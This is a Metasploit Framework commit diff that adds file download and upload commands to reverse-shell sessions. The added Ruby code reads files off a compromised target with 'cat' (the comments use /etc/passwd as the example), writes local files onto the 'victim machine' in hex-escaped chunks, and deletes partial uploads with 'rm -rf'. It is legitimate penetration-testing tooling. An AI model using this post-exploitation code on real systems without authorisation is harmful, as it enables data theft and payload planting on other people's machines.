Land #10449, Implementation of download/upload file in reverse shell

4.x
asoto-r7 2018-08-20 19:10:26 -05:00 committed by Metasploit
parent 8ce1329e74
commit 36642d3071
No known key found for this signature in database
GPG Key ID: CDFB5FA52007B954
1 changed files with 140 additions and 2 deletions

View File

@ -87,7 +87,9 @@ class CommandShell
'background' => 'Backgrounds the current shell session',
'sessions' => 'Quickly switch to another session',
'resource' => 'Run the commands stored in a file',
'shell' => 'Spawn an interactive shell',
'shell' => 'Spawn an interactive shell (*NIX Only)',
'download' => 'Download files (*NIX Only)',
'upload' => 'Upload files (*NIX Only)',
}
end
@ -275,7 +277,6 @@ class CommandShell
def binary_exists(binary)
print_status("Trying to find binary(#{binary}) on target machine")
binary_path = shell_command_token("which #{binary}").strip
p binary_path
if binary_path.eql?("#{binary} not found")
print_error(binary_path)
return nil
@ -285,6 +286,143 @@ class CommandShell
end
end
#
# Check if there is a file on the target machine
#
def file_exists(path)
# Use `ls` command to check file exists
# If file exists, `ls [path]` will echo the varible `path`
# Or `ls` command will report an error message
# But we can not ensure that the implementation of ls command are the same on different destribution
# So just check the success flag not error message
# eg:
# $ ls /etc/passwd
# /etc/passwd
# $ ls /etc/nosuchfile
# ls: cannot access '/etc/nosuchfile': No such file or directory
result = shell_command_token("ls #{path}").strip
if result.eql?(path)
return true
end
return false
end
def cmd_download_help
print_line("Usage: download [src] [dst]")
print_line
print_line("Downloads remote files to the local machine.")
print_line("This command does not support to download a FOLDER yet")
print_line
end
def cmd_download(*args)
if args.length != 2
# no argumnets, just print help message
return cmd_download_help
end
src = args[0]
dst = args[1]
# Check if src exists
if !file_exists(src)
print_error("The target file does not exists")
return
end
# Get file content
print_status("Download #{src} => #{dst}")
content = shell_command("cat #{src}")
# Write file to local machine
file = File.open(dst, "wb")
file.write(content)
file.close
print_good("Done")
end
def cmd_upload_help
print_line("Usage: upload [src] [dst]")
print_line
print_line("Uploads load file to the victim machine.")
print_line("This command does not support to upload a FOLDER yet")
print_line
end
def cmd_upload(*args)
if args.length != 2
# no argumnets, just print help message
return cmd_upload_help
end
src = args[0]
dst = args[1]
# Check target file exists on the target machine
if file_exists(dst)
print_warning("The file <#{dst}> already exists on the target machine")
if prompt_yesno("Overwrite the target file <#{dst}>?")
# Create an empty file on the target machine
# Notice here does not check the permission of the target file (folder)
# So if you generate a reverse shell with out redirection the STDERR
# you will not realise that the current user does not have permission to write to the target file
# IMPORTANT:
# assume(the current have the write access on the target file)
# if (the current user can not write on the target file) && (stderr did not redirected)
# No error reporting, you must check the file created or not manually
result = shell_command_token("cat /dev/null > #{dst}")
if !result.empty?
print_error("Create new file on the target machine failed. (#{result})")
return
end
print_good("Create new file on the target machine succeed")
else
return
end
end
buffer_size = 0x100
begin
# Open local file
src_fd = open src
# Get local file size
src_size = File.size(src)
# Calc how many time to append to the remote file
times = src_size / buffer_size + (src_size % buffer_size == 0 ? 0 : 1)
print_status("File <#{src}> size: #{src_size}, need #{times} times writes to upload")
# Start transfer
for i in 1..times do
print_status("Uploading (#{i * buffer_size}/#{src_size})")
chunk = src_fd.read(buffer_size)
chunk_repr = repr(chunk)
result = shell_command_token("echo -ne '#{chunk_repr}' >> #{dst}")
if !result.empty?
print_error("Appending content to the target file <#{dst}> failed. (#{result})")
# Do some cleanup
# Delete the target file
shell_command_token("rm -rf #{dst}")
print_status("Target file <#{dst}> deleted")
return
end
end
print_good("File <#{dst}> upload finished")
rescue
print_error("Error occurs while uploading <#{src}> to <#{dst}> ")
return
end
end
def repr(data)
data_repr = ''
data.each_char {|c|
data_repr << "\\x"
data_repr << c.unpack("H*")[0]
}
return data_repr
end
#
# Explicitly runs a single line command.
#